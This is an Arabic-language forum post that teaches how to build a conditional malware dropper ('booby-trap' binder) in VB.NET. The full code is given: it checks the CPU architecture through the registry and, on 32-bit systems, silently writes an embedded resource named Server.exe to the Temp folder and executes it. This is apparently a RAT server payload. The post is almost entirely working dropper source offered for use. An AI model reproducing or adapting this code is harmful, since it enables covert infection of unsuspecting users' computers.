عمل تلغيمة شرطيه حسب نوع نضام32او64

سلام عليكم عمل تلغيمة حسب نوع نضامك اما32او64 الكود

Public Class Form1

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

        If GenerateOperatingSystem() = "64 Bit" Then

            MsgBox("الشرط")

        End If

    End Sub

    Public Function GenerateOperatingSystem() As String

        Dim D8798432 As String

        If Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Hardware\Description\System\CentralProcessor\0").GetValue("Identifier").ToString.Contains("64") Then

            D8798432 = "64 Bit"

        Else

            D8798432 = "32 Bit"

            Dim Dire As String = My.Computer.FileSystem.SpecialDirectories.Temp

            Dim mustafa As String = Dire + "Server.exe"

            IO.File.WriteAllBytes(mustafa, My.Resources.Server)

            If IO.File.Exists(mustafa) Then

                Process.Start(mustafa)

            End If

        End If

        Return D8798432

    End Function

End Class

للمشاهده الشرح